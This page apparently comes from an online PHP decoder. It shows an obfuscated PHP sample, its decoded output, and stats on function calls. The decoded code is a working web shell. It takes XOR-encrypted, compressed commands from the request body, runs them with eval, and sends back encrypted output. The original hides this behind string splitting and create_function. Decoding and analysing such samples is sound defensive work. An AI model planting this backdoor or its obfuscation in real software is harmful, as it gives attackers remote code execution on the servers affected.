Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $J='@ob_end_clean$b($b);$r=@bas$be64$b_$bencode$b(@x(@g$bzcompres$bs($o),$k$b$b));p..
Decoded Output download
$k="04217c4d";$kh="7e246e38b0d7";$kf="014ee109755b";$p="oJWoezW9M325MIB3";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$J='@ob_end_clean$b($b);$r=@bas$be64$b_$bencode$b(@x(@g$bzcompres$bs($o),$k$b$b));print$b("$p$kh$r$kf");}';
$e=str_replace('Id','','cIdreaIdtIde_fIduncIdtiIdon');
$V='=$b0$b;($j<$b$c&&$i$b<$l);$j$b++,$i++)$b{$o.=$b$b$t$b{$$bi}^$k{$j$b$b};}}return $o;}if(@preg_$b';
$u='bev$bal(@gzunco$bmpress(@x(@ba$bse64_$bdecod$be($m[1$b]$b),$k)));$o=$b@ob_$bge$bt$b_$bcontents();';
$K='unc$btion x($b$b$t,$k){$$b$bc=strlen($k);$$bl=$bstrle$bn($t)$b;$o="";for($b$b$i=$b0;$i<$l;){for($j';
$x='matc$bh("/$kh$b(.$b+)$kf$b/",@$bfile_get_con$btents("php:/$b/inp$but"),$m)$b==$b1$b){@ob$b_start();@$';
$h='$k="042$b17c4d"$b;$kh=$b"7e246$be38b$b0d7";$kf$b="014$bee10975$b5b$b";$p="o$bJWoezW$b$b9M325MIB3";f';
$a=str_replace('$b','',$h.$K.$V.$x.$u.$J);
$T=$e('',$a);$T();
?>
Function Calls
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | 0c79faafea648c9b395969f08e6604ee |
| Eval Count | 1 |
| Decode Time | 90 ms |